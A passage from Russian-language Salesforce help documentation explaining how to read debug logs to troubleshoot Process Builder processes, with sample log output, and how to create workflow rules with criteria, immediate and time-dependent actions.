Encountered unhandled fault when running process LeadConvertEmail/301D00000004HxZ
exception by user/organization: 00DD00000007dHy/{4}

Error
// The error occurred at the first action (A1) that’s associated with the
// first criteria node (myRule_1).
An error occurred at element myRule_1_A1.
cannot reference converted lead .

This report lists the elements that the flow interview executed.

Flow Details
Flow Name: LeadConvertEmail
Type: Workflow
Version: 1
Status: ACTIVE

Flow Details
Start time(GMT): Thu Apr 09 21:52:14 GMT 2015
End time(GMT): Not Yet Finished
Duration: 0 seconds

// The process evaluated the first rule and tried to execute its action. The element
// that the process failed to executed, myRule_1_A1, is an Email Alert action.
Decision: myDecision
Email Alerts: myRule_1_A1

Использование журналов отладки для устранения неполадок в процессах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать журналы отладки для поиска подробных сведений о
выполняемых процессах после их выполнения. Например, для определения причины
неудачного инициирования процесса при выполнении его критериев или просмотра
порядка выполнения процессов.

Совет: Убедитесь, что фильтры содержат события FINER в категории
«БИЗНЕС-ПРАВИЛО». Дополнительныесведениясм. вразделе «Уровнижурнала
отладки» на странице 5850.

Нижеперечисленырекомендациипоиспользованиюжурналовотладкидля устранения
неполадок в процессах.

• Процессы, созданныепосредствомконструкторапроцессов, отображаютсявжурналах
отладки как потоки и бизнес-правила. Генерируемые имена напоминают имена
процессов, но не являются идентичными.

• Процессы отображаются как потоки типа «Бизнес-правило».

• Немедленныедействия, которыемогутвыполнятьсяблоком, связываютсямеждусобойвпотоке. Неудачноевыполнение
одного действия в середине потока может препятствовать выполнению следующих действий.

• Запланированные действия выполняются после элемента «Ожидание». Действия выполняются аналогично
немедленным действиям после возобновления процесса.

• События WF_CRITERIA_BEGIN и WF_CRITERIA_END ссылаются на критерий бизнес-правила, который всегда
оценивается как истинный, но не определяется в процессе.
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• Таблица ниже показывает соответствие элементов конструктора процессов событиям отладки потока.

Событие отладки потокаЭлемент
конструктора
процессов

FLOW_RULE_...Критерии

FLOW_ELEMENT_...Создать запись

FLOW_ELEMENT_...Обновить записи

FLOW_ACTIONCALL_...Опубликовать в
Chatter

FLOW_ACTIONCALL_...Отправить на
утверждение

FLOW_ACTIONCALL_...Электронные
предупреждения

FLOW_ACTIONCALL_...Потоки

FLOW_ACTIONCALL_...Apex

FLOW_WAIT_...Расписание

Пример: Отладка процесса, содержащего немедленное действие «Apex»

Данный пример охватывает процесс, содержащий немедленное действие «Apex».

Просмотрите первый фрагмент.

• Процесс инициируется интересом по имени «L104».

• Процессу назначается имя «Apex Say Hello», которое соответствует имени, используемому в журнале
«Apex_Say_Hello301xx000000001Y». Номер, добавленный в конец имени, является кодом версии процесса.

• Процесс инициируется при создании или редактировании записи (ON_ALL_CHANGES).

17:07:29.086 (86806000)|EXECUTION_STARTED
17:07:29.086 (86928000)|CODE_UNIT_STARTED|[EXTERNAL]|Workflow:Lead
17:07:29.113 (113974000)|WF_RULE_EVAL_BEGIN|Assignment
17:07:29.114 (114043000)|WF_SPOOL_ACTION_BEGIN|Assignment
17:07:29.114 (114060000)|WF_ACTION|.
17:07:29.114 (114071000)|WF_RULE_EVAL_END
17:07:29.114 (114093000)|WF_RULE_EVAL_BEGIN|Workflow
17:07:29.114 (114178000)|WF_CRITERIA_BEGIN|

[Lead: L104 00Qxx000002S8vh]|Apex_Say_Hello301xx000000001Y|
01Qxx0000002nea|ON_ALL_CHANGES|0

Данный раздел позволяет процессу сравнивать текущие значения записи с предыдущими значениями.
«myVariable_current» содержитвсе текущиезначенияполя записи. «myVariable_old» содержитвсепредыдущиезначения
поля записи. «myVariable_old» не содержит значений, поэтому процесс оценивает новый интерес.

17:07:29.114 (114553000)|WF_FORMULA|
Formula:ENCODED:[treatNullAsNull]true|Values:
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17:07:29.114 (114571000)|WF_CRITERIA_END|
true

17:07:29.132 (132792000)|WF_SPOOL_ACTION_BEGIN|
Workflow

17:07:29.132 (132881000)|WF_ACTION|
Flow Trigger: 1;

17:07:29.132 (132897000)|WF_RULE_EVAL_END
17:07:29.137 (137127000)|WF_FLOW_ACTION_BEGIN|

09Lxx000000000B
17:07:29.137 (137249000)|WF_FLOW_ACTION_DETAIL|

09Lxx000000000B|[Lead: L104 00Qxx000002S8vh]|Id=09Lxx000000000B|
CurrentRule:Apex_Say_Hello301xx000000001Y (Id=01Qxx0000002nea)

17:07:29.139 (139429000)|FLOW_CREATE_INTERVIEW_BEGIN|
00Dxx0000001gH6|300xx00000002cI|301xx000000001Y

17:07:29.140 (140996000)|FLOW_CREATE_INTERVIEW_END|
108a970cb7aeabf8804183a600514a3bb92516-7f92|Apex Say Hello 2

17:07:29.142 (142898000)|WF_FLOW_ACTION_DETAIL|Param Name: myVariable_current,
Param Value: ENCODED:{![treatNullAsNull]{!ID:this}},
Evaluated Param Value:{

LastModifiedByID=005xx000001SwUpAAK, LastTransferDate=2014-12-12 01:07:29,
ConnectionReceivedDate=null, LastModifiedDate=2014-12-12 01:07:29, LeadSource=null,

LastName=L104, NumberofLocations__c=null, NumberOfEmployees=null,
DandbCompanyId=null,

DoNotCall=false, Primary__c=null, CreatedByID=005xx000001SwUpAAK,
ConnectionSentDate=null,

MobilePhone=null, Jigsaw=null, Salutation=null, HasOptedOutOfEmail=false,
Country=null, LastViewedDate=null, ConvertedOpportunityId=null,

EmailBouncedReason=null,
Email=null, Rating=null, SICCode__c=null, CleanStatus=Pending,

CreatedById=005xx000001SwUpAAK,
IsDeleted=false, Longitude=null, Id=00Qxx000002S8vhEAC, Industry=null, Street=null,

Phone=null, IsConverted=false, EmailBouncedDate=null, HasOptedOutOfFax=false,
OwnerId=005xx000001SwUpAAK, AnnualRevenue=null, CompanyDunsNumber=null,

IsUnreadByOwner=true,
LastActivityDate=null, SystemModstamp=2014-12-12 01:07:29, ProductInterest__c=null,

Latitude=null, FirstName=null, PhotoUrl=null, Company=LC,
CampaignMemberStatus=null,

Description=null, LastReferencedDate=null, LastModifiedById=005xx000001SwUpAAK,

Website=null, Fax=null, InternalSource=0, City=null, Title=null,
MasterRecordId=null,

CampaignId=null, Status=Open - Not Contacted, JigsawContactId=null,
ConvertedDate=null,

PostalCode=null, State=null, CreatedDate=2014-12-12 01:07:29,
ConvertedContactId=null,

ConvertedAccountId=null, CurrentGenerators__c=null
}|
Param Name: myVariable_old,
Param Value: {!old},
Evaluated Param Value: null
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Данный раздел отображает начало процесса (определяется событием FLOW_START_INTERVIEWS_BEGIN), а также
критерии, заданныевпроцессе. Событие, начинающееся компонентом FLOW_RULE_, всегда соответствует критерию
процесса, поэтому критерий «myRule_1» оценивается как истинный. Число, используемое критерием «myRule_1»,
указываетна то, чтопроцесс выполняет группу запланированныхдействий, связанныхспервымкритериемпроцесса.

17:07:29.143 (143184000)|FLOW_START_INTERVIEWS_BEGIN|1
17:07:29.147 (147213000)|FLOW_START_INTERVIEW_BEGIN|

108a970cb7aeabf8804183a600514a3bb92516-7f92|Apex Say Hello 2
17:07:29.147 (147389000)|FLOW_VALUE_ASSIGNMENT|

108a970cb7aeabf8804183a600514a3bb92516-7f92|myVariable_old|
17:07:29.148 (148138000)|FLOW_VALUE_ASSIGNMENT|

108a970cb7aeabf8804183a600514a3bb92516-7f92|myVariable_current|{
LastModifiedByID=005xx000001SwUpAAK, LastTransferDate=2014-12-12 01:07:29,
ConnectionReceivedDate=null, LastModifiedDate=2014-12-12 01:07:29, LeadSource=null,

LastName=L104, NumberofLocations__c=null, NumberOfEmployees=null,
DandbCompanyId=null,

DoNotCall=false, Primary__c=null, CreatedByID=005xx000001SwUpAAK,
ConnectionSentDate=null,

MobilePhone=null, Jigsaw=null, Salutation=null, HasOptedOutOfEmail=false,
Country=null,

LastViewedDate=null, ConvertedOpportunityId=null, EmailBouncedReason=null,
Email=null,

Rating=null, SICCode__c=null, CleanStatus=Pending, CreatedById=005xx000001SwUpAAK,

IsDeleted=false, Longitude=null, Id=00Qxx000002S8vhEAC, Industry=null, Street=null,

Phone=null, IsConverted=false, EmailBouncedDate=null, HasOptedOutOfFax=false,
OwnerId=005xx000001SwUpAAK, AnnualRevenue=null, CompanyDunsNumber=null,

IsUnreadByOwner=true,
LastActivityDate=null, SystemModstamp=2014-12-12 01:07:29, ProductInterest__c=null,

Latitude=null, FirstName=null, PhotoUrl=null, Company=LC,
CampaignMemberStatus=null,

Description=null, LastReferencedDate=null, LastModifiedById=005xx000001SwUpAAK,
Website=null,

Fax=null, InternalSource=0, City=null, Title=null, MasterRecordId=null,
CampaignId=null,

Status=Open - Not Contacted, JigsawContactId=null, ConvertedDate=null,
PostalCode=null,

State=null, CreatedDate=2014-12-12 01:07:29, ConvertedContactId=null,
ConvertedAccountId=null,

CurrentGenerators__c=null
}

17:07:29.148 (148427000)|FLOW_ELEMENT_BEGIN|
108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowDecision|myDecision

17:07:29.149 (149938000)|FLOW_RULE_DETAIL|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1|true

17:07:29.149 (149976000)|FLOW_VALUE_ASSIGNMENT|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1|true

17:07:29.150 (150050000)|FLOW_ELEMENT_END|
108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowDecision|myDecision
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Данныйразделсодержитнемедленныедействиядляпервогокритерия. Элемент «A1» вимени «myRule_1_A1» указывает
на то, что данное действие является первым в группе действий. Кроме того, данный раздел отображает класс Apex
по имени «SayHello.sayHello», а также сведения о выполнении класса Apex. Затем процесс завершается без ошибок.

17:07:29.150 (150117000)|FLOW_ELEMENT_BEGIN|
108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowActionCall|myRule_1_A1

17:07:29.150 (150146000)|FLOW_ELEMENT_DEFERRED|
FlowActionCall|myRule_1_A1

17:07:29.150 (150194000)|FLOW_ELEMENT_END|
108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowActionCall|myRule_1_A1

17:07:29.150 (150233000)|FLOW_START_INTERVIEW_END|
108a970cb7aeabf8804183a600514a3bb92516-7f92|Apex Say Hello 2

17:07:29.150 (150316000)|FLOW_BULK_ELEMENT_BEGIN|
FlowActionCall|myRule_1_A1

17:07:29.151 (151772000)|CODE_UNIT_STARTED|
[EXTERNAL]|01pxx00000000DN|SayHello.sayHello

17:07:29.153 (153773000)|METHOD_ENTRY|
[1]|01pxx00000000DN|SayHello.SayHello()

17:07:29.153 (153821000)|METHOD_EXIT|
[1]|SayHello

17:07:29.154 (154292000)|SYSTEM_CONSTRUCTOR_ENTRY|
[4]|<init>()

17:07:29.154 (154392000)|SYSTEM_CONSTRUCTOR_EXIT|
[4]|<init>()

17:07:29.154 (154564000)|SYSTEM_METHOD_ENTRY|
[5]|List<String>.add(Object)

17:07:29.154 (154748000)|SYSTEM_METHOD_EXIT|
[5]|List<String>.add(Object)

17:07:29.084 (154888000)|CUMULATIVE_LIMIT_USAGE
17:07:29.084|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10

17:07:29.084|CUMULATIVE_LIMIT_USAGE_END

17:07:29.154 (154949000)|CODE_UNIT_FINISHED|
SayHello.sayHello

17:07:29.155 (155090000)|FLOW_ACTIONCALL_DETAIL|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1_A1|Call Apex|SayHello|true|

17:07:29.155 (155133000)|FLOW_VALUE_ASSIGNMENT|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1_A1|true

17:07:29.155 (155268000)|FLOW_BULK_ELEMENT_END|
FlowActionCall|myRule_1_A1|0|4
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17:07:29.155 (155371000)|FLOW_START_INTERVIEWS_END|
1

17:07:29.159 (159563000)|WF_FLOW_ACTION_END|
09Lxx000000000B

17:07:29.159 (159787000)|WF_ACTIONS_END|
Flow Trigger: 1;

17:07:29.159 (159815000)|CODE_UNIT_FINISHED|
Workflow:Lead

17:07:29.161 (161221000)|EXECUTION_FINISHED

Пример: Отладка процесса, содержащего запланированное действие «Опубликовать в Chatter»

Данный пример охватывает разделы журнала отладки для процесса, содержащего запланированное действие
«Опубликовать в Chatter».

Расписание всегда обозначается элементом «myWait_». Данный раздел отображает элемент «myWait_myRule_2»
выполняемогорасписанияпроцесса. Любыесобытия, начинающиесякомпонентом FLOW_WAIT_, такжесоответствуют
расписанию процесса.

20:06:28.928 (928266000)|FLOW_ELEMENT_BEGIN|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|WaitInfo|myWait_myRule_2

20:06:28.928 (928302000)|FLOW_ELEMENT_DEFERRED|
WaitInfo|myWait_myRule_2

20:06:28.928 (928361000)|FLOW_ELEMENT_END|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|WaitInfo|myWait_myRule_2

20:06:28.929 (929671000)|FLOW_BULK_ELEMENT_BEGIN|
WaitInfo|myWait_myRule_2

20:06:29.005 (1005229000)|FLOW_WAIT_EVENT_WAITING_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|
myWaitEvent_myRule_2|alarmDateRef|true

20:06:29.005 (1005317000)|FLOW_VALUE_ASSIGNMENT|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWaitEvent_myRule_2|true

20:06:30.225 (2225117000)|FLOW_WAIT_WAITING_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|1|0Foxx0000000001

20:06:30.225 (2225362000)|FLOW_BULK_ELEMENT_END|
WaitInfo|myWait_myRule_2|0|1296

...

20:06:30.234 (2234916000)|WF_TIME_TRIGGERS_BEGIN
20:06:30.248 (2248007000)|WF_ACTIONS_END|

Flow Trigger: 1;
20:06:30.248 (2248072000)|CODE_UNIT_FINISHED|

Workflow:Lead
20:06:30.250 (2250129000)|EXECUTION_FINISHED

При наличии запланированных действий журнал отладки отображает дополнительный журнал по мере их
выполнения. Данному журналу соответствует отдельная запись журнала отладки (см. пример ниже для данного
запланированного действия «Опубликовать в Chatter»). При наступлении запланированного времени
автоматизированныйпроцессвыполняет запланированныедействия. ЖурналиспользуетвремяпоГринвичу (вместо
часового пояса пользователя). Тем не менее, действия выполняются от имени пользователя, инициировавшего
выполнение процесса.
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Событие FLOW_WAIT_EVENT_RESUMING_DETAIL указывает на возобновление сеанса и, следовательно, доступность
запланированных действий процесса для выполнения. «alarmDateRef» указывает на то, что данное расписание
опираетсяна значениеполя. Крометого, данныйразделотображает сведенияовыполнениидействия «Опубликовать
в Chatter».

00:14:10.466 (1418357225466561000)|FLOW_BULK_ELEMENT_BEGIN|
WaitInfo|myWait_myRule_2

00:14:10.469 (1418357225469327000)|FLOW_WAIT_EVENT_RESUMING_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|
myWaitEvent_myRule_2|alarmDateRef

00:14:10.469 (1418357225469412000)|FLOW_WAIT_RESUMING_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|
0Foxx000000000100:14:10.469 (1418357225469733000)|
FLOW_BULK_ELEMENT_END|WaitInfo|myWait_myRule_2|0|3

00:14:10.469 (1418357225469826000)|FLOW_ELEMENT_BEGIN|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowDecision|myPostWaitDecision_myRule_2

00:14:10.471 (1418357225471235000)|FLOW_RULE_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myPostWaitRule_myRule_2|true

00:14:10.471 (1418357225471275000)|FLOW_VALUE_ASSIGNMENT|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myPostWaitRule_myRule_2|true

00:14:10.471 (1418357225471348000)|FLOW_ELEMENT_END|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowDecision|myPostWaitDecision_myRule_2

00:14:10.471 (1418357225471441000)|FLOW_ELEMENT_BEGIN|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowActionCall|myRule_2_SA1

00:14:10.471 (1418357225471486000)|FLOW_ELEMENT_DEFERRED|
FlowActionCall|myRule_2_SA1

00:14:10.471 (1418357225471551000)|FLOW_ELEMENT_END|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowActionCall|myRule_2_SA1

00:14:10.471 (1418357225471624000)|FLOW_BULK_ELEMENT_BEGIN|
FlowActionCall|myRule_2_SA1

00:14:10.841 (1418357225841584000)|FLOW_ACTIONCALL_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
myRule_2_SA1|Post to Chatter|chatterPost|true|
00:14:10.841 (1418357225841661000)|FLOW_VALUE_ASSIGNMENT|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myRule_2_SA1|true

00:14:10.841 (1418357225841773000)|FLOW_BULK_ELEMENT_END|
FlowActionCall|myRule_2_SA1|0|370

4782

Конструктор процессовРасширение Salesforce посредством интерактивных
инструментов



Бизнес-правило

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Бизнес-правила позволяют автоматизировать стандартные внутренние процедуры и
процессы и экономить время в организации. Бизнес-правило является основным
контейнером для набора инструкций.

Эти инструкции можно объединить в условном операторе (<если..., то...>), например
так:

Если идет дождь, то нужно взять зонт.

Бизнес-правило можно разделить на два основных компонента.

1. Критерии: часть «если» в условном операторе. Другими словами, какое условие
должно выполняться для записи, чтобы бизнес-правило исполнило связанные
действия.

2. Действия: часть «то» в условном операторе. Другими словами, что нужно сделать,
если запись соответствует критериям.

В примере про дождь критерием является «идет дождь», а действием — «взять зонт».Если критерий не удовлетворяется
(дождя нет), то соответствующее действие не исполняется (вы не берете с собой зонт).

Прим.: Бизнес-правила — этонеединственныйинструмент, которыйпозволяетавтоматизироватьбазовыепроцессы
условного характера. Вообще говоря, вместо этого рекомендуется начать с изучения конструктора процессов.

Когда запись удовлетворяет всем критериям бизнес-правила, выполняются действия этого правила. Как и в случае с
критериями, нужно знать о разных типах действий.

Действия задачи
Создание задачи. Например, назначение дополнительных задач для представителя службы поддержки.

Действия электронного предупреждения
Отправка сообщения электронной почты посредством указания нужного шаблона. Например, менеджерам по
продажам при подготовке крупной сделки торговым представителем.

Действия по обновлениюполей
Обновление поля в записи, обработанной бизнес-правилом, или связанной записи. Например, присвоение полю
«Активно» значения true при создании пользовательской записи.

Действия с исходящими сообщениями
Отправкабезопасногонастраиваемого API-сообщения (вформате XML) назначенномуполучателю. Например, отправка
сообщения во внешнюю систему управления кадрами для запуска процесса оплаты по утвержденному отчету по
расходам.

Создание бизнес-правила
Automate your organization’s standard process by creating a workflow rule.

Рекомендации по использованию бизнес-правил
Рекомендуем ознакомиться с тонкостями создания бизнес-правил и бизнес-действий, прежде чем применять их на
практике.

Примеры бизнес-правил
Ищетеидеио том, какбизнес-правиламогутобеспечить эффективностьбизнеса? Рассмотрите следующиепримеры.

Отслеживание отложенных действий бизнес-правил
Если система Salesforce инициирует выполнение бизнес-правила, содержащего зависимые от времени действия, то
очередь бизнес-правил может использоваться для просмотра и отмены отложенных действий.
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Терминология бизнес-правил
Ниже приведены термины, используемые для описания функциональных возможностей бизнес-правил.

СМ. ТАКЖЕ:

Какой инструмент автоматизации следует использовать?

Установка критериев для бизнес-правила

Примеры бизнес-правил

Создание бизнес-правила

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-правил и действий:
• «Настройка

приложения»

Automate your organization’s standard process by creating a workflow rule.

Посмотреть демонстрационный ролик:

1. Установка критериев для бизнес-правила
Прежде чем создать бизнес-правило, выберите связанный объект и настройте его
критерии.

2. Добавление автоматизированных действий в бизнес-правило
Посленазначениякритериевдлябизнес-правиланазначьтедействие, котороеследует
выполнить в случае соответствия критериям.

3. Определение пользователя бизнес-правил по умолчанию для организации
Заполнитеполе «Пользователь бизнес-правил по умолчанию» значением, которое
должноотображатьсясистемойSalesforceнапротивбизнес-правилапринеактивности
пользователя, инициировавшего выполнение правила.

4. Активация бизнес-правила
СистемаSalesforceподдерживаетвыполнениетолькоактивированныхбизнес-правил.
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Установка критериев для бизнес-правила

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-правил и действий:
• «Настройка

приложения»

Прежде чем создать бизнес-правило, выберите связанный объект и настройте его
критерии.

1. Введите строку «Бизнес-правила» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Бизнес-правила».

2. Нажмите кнопку «Создать правило».

3. Выберите объект для применения данного бизнес-правила.

4. Нажмите кнопку «Далее».

5. Задайте имя и описание правила.

6. Выберите критерии оценки.

ОписаниеОценить правило, если
запись:

Критерии правила оцениваются при каждом создании
записи. Правило выполняется при выполнении
критериев. Все обновления текущих записей
пропускаются.

Данный критерий обеспечивает разовое выполнение
правила для отдельной записи.

создано

Критерии правила оцениваются при каждом создании
или обновлении записи. Правило выполняется при
выполнении критериев.

Данныйкритерийобеспечиваетповторноевыполнение
правила при каждом редактировании записи,
соответствующей критерию правила.

создано и изменено

Прим.: Зависимые от времени действия немогут
быть добавлены в правило.

(По умолчанию) Критерии правила оцениваются при
каждом создании или обновлении записи.

создано и изменено для
дальнейшего
соответствия критериям. • Правило выполняется при выполнении критериев

во время создания записи.

• Правило выполняется при выполнении критериев
во время обновления записи.

Данный критерий обеспечивает многоразовое
выполнениеправиладляотдельнойзаписи, нодоступен
только в том случае, если изменения записи относятся
к критерию правила.

Например, если вероятность возможности превышает
50%, то запись возможности соответствует критерию
правила. При создании возможности, вероятность
которой составляет 75%, система выполняет
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ОписаниеОценить правило, если запись:

соответствующеебизнес-правило. Есливероятностьвозможностипонижается
до 25%, то редактирование записи не инициирует выполнение правила. Если
вероятность возможности, пониженная до 25%, повышается до 75%, то
редактирование записи инициирует выполнение правила. Таким образом,
запись вновь соответствует заданному критерию, поэтому ее последнее
редактирование инициирует выполнение правила.

7. Введите критерии правила.

• Выберите параметр «критерии выполняются», а затем укажите критерий фильтрации, которому должна
соответствовать запись для выполнения правила.Например, задайтефильтр «Возможность: "Стоимость" больше
"5 000"», чтобы возможности со стоимостью более 5 000 долларов США инициировали выполнение правила.
Если организация поддерживает несколько языков, введите значения фильтра на выбранном вами языке.
Разрешается добавить не более 25 критериев фильтрации (каждый длиною не более 255 символов).

• Выберите параметр «значение формулы оценивается как истинное» и введите формулу, возвращающую
значение «Истина» или «Ложь». Если формула возвращает значение «Истина», то система Salesforce инициирует
выполнение правила.

Ниже приведены примеры полезных формул.

– Есликоличество занятыхпозицийравнообщемуколичествупозиций, выберите значение «Заполнено» вполе
«Статус задания».

– Если расходы на посещение офиса клиента составляют 35 рублей за километр и превышают заданное
ограничение, равное 1 000 рублей, то поле «Требуется утверждение» автоматически заполняется значением
«Обязательно».

– Если стоимость возможности по ежемесячной подписке превышает 10 000 рублей, создайте задачу для
ответственного за возможность, заключающуюся в проверке возможности через 60 дней после ее закрытия.

Переменная $Label неподдерживаетсяформуламибизнес-правил. Крометого, некоторыефункциинедоступны
в формулах бизнес-правил.

Совет: Формулы бизнес-правил позволяют использовать поля слияния в объектах, между которыми
установлена прямая связь.

8. Нажмите кнопку «Сохранить и продолжить».

СМ. ТАКЖЕ:

Рекомендации по использованию бизнес-правил
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Добавление автоматизированных действий в бизнес-правило

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-правил и действий:
• «Настройка

приложения»

После назначения критериев для бизнес-правила назначьте действие, которое следует
выполнить в случае соответствия критериям.

Добавление немедленных действий в бизнес-правило
Немедленные действия в соответствии со своим названием выполняются сразу
после того, как завершается оценка записи при помощи бизнес-правила.

Добавление дополнительного действия в бизнес-правило
Действия, зависимые от времени, выполняются в назначенное время, например
за 10 днейдодатызакрытия записи. Когданаступает указанноевремя, бизнес-правило
выполняет переоценку записи, чтобы убедиться, что оно все еще соответствует
критериям правила. Если запись соответствует этим критериям, бизнес-правило
выполняет следующие действия.

Действия задачи
Действия задачи определяют сведения о назначении, которое предоставлено
конкретному пользователю автоматизированным процессом. Действия задачи —
это действия, связанные с бизнес-правилами, процессами утверждения или
процессами права.

Действия электронного предупреждения
Электронныепредупреждения — этосообщенияэлектроннойпочты, формируемые
автоматически и отправляемые назначенным получателям. Электронные
предупреждения содержат стандартный текст и список получателей сообщения электронной почты. Электронные
предупреждения — это действия, связанные с бизнес-правилами, процессами утверждения или процессами права.

Действия по обновлению полей
Действия по обновлению полей позволяют автоматически обновлять значения полей. Обновление поля — это
действие, связанное с бизнес-правилами, процессами утверждения или процессами права.

Действия с исходящими сообщениями
Исходящее сообщение — это действие бизнес-правил, утверждений или контрольных точек, которое отправляет
указанныесведенияуказаннойконечнойточке (например, внешнейслужбе). Параметрыисходящихсообщениймогут
быть заданы в меню настройки Salesforce. Затем рекомендуем настроить внешнюю конечную точку. Получатель
сообщений может быть создан посредством SOAP API.Исходящие сообщения — это действия, связанные с
бизнес-правилами, процессами утверждения или процессами права.

Определение триггера потока для бизнес-правила (пробная версия)

Для запуска потока посредством бизнес-правила требуется создать триггер потока. Триггеры потока позволяют
автоматизировать сложные бизнес-процессы — создавать потоки для выполнения логики и разрешать событиям
запуск потоков посредством бизнес-правил, без создания специального кода.Например, при наличии потока,
выполняющего поиск и назначение соответствующего права для обращения, пользователь может создать триггер
потока для запуска потока при каждом создании обращения. Таким образом, всем новым обращениям будет
автоматически назначаться стандартное право.

СМ. ТАКЖЕ:

Определение пользователя бизнес-правил по умолчанию для организации

Установка критериев для бизнес-правила
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Добавление немедленных действий в бизнес-правило

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-правил и действий:
• «Настройка

приложения»

Немедленныедействия в соответствии со своимназванием выполняются сразу после
того, как завершается оценка записи при помощи бизнес-правила.

1. Откройте бизнес-правило.

2. В разделе немедленных действий для бизнес-правил нажмите кнопкуДобавить
действие бизнес-правила.

3. Выберите один из параметров, необходимый для создания нового действия или
выберите существующий.

Дополнительные сведения по каждому типу см. в разделе Бизнес-правила на странице
4783.

СМ. ТАКЖЕ:

Добавление автоматизированных действий в бизнес-правило

Добавление дополнительного действия в бизнес-правило

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
бизнес-правил и действий:
• «Настройка

приложения»

Действия, зависимые от времени, выполняются в назначенное время, например за
10 дней до даты закрытия записи. Когда наступает указанное время, бизнес-правило
выполняетпереоценкузаписи, чтобыубедиться, чтооновсеещесоответствуеткритериям
правила. Если запись соответствует этим критериям, бизнес-правило выполняет
следующие действия.

Зависимые от времени действия и триггеры времени считаются сложнымифункциями.
Пока вы работаете с действиями, зависимыми от времени и триггеров, помните о
следующих рекомендациях.

При планировании настройки бизнес-правил, содержащих зависимые от времени
действия, укажите пользователя бизнес-правил по умолчанию. Если пользователь,
инициировавшийвыполнениеправила, большенеактивен, тосистемаSalesforceсвязывает
бизнес-правило с пользователем по умолчанию.

1. Откройте бизнес-правило.

2. В разделе «Зависимые от времени действия бизнес-правила» нажмите кнопку
Добавить триггер времени.

Прим.: Если справедливы следующие условия, добавление триггера времени
будет невозможно.

• Еслииспользуетсякритерийоценки «Оценитьправило, еслизапись:создано
и изменено для дальнейшего соответствия критериям».

• Если правило активировано.

• Еслиправилодеактивировано, носодержитотложенныедействиявочереди
бизнес-правил.
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3. Укажите количестводнейиличасов доилипосле даты, связаннойс записью (например, датысозданияилиизменения
записи).

Если данное время приходится на период выполнения бизнес-правила, то триггер времениинициирует выполнение
действия бизнес-правила.

4. Сохраните свой временной триггер.

5. В разделе созданного временного триггера нажмите кнопкуДобавить действие бизнес-правила.

6. Выберите один из параметров, необходимый для создания нового действия или выберите существующий.

7. Нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Добавление автоматизированных действий в бизнес-правило

Рекомендации по зависимым от времени действиям и триггерам времени

Действия задачи

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Действиязадачиопределяютсведенияоназначении, котороепредоставленоконкретному
пользователю автоматизированным процессом. Действия задачи — это действия,
связанные с бизнес-правилами, процессами утверждения или процессами права.

В меню «Настройка» введите строку «Задачи» в поле «Быстрый поиск» и выберите
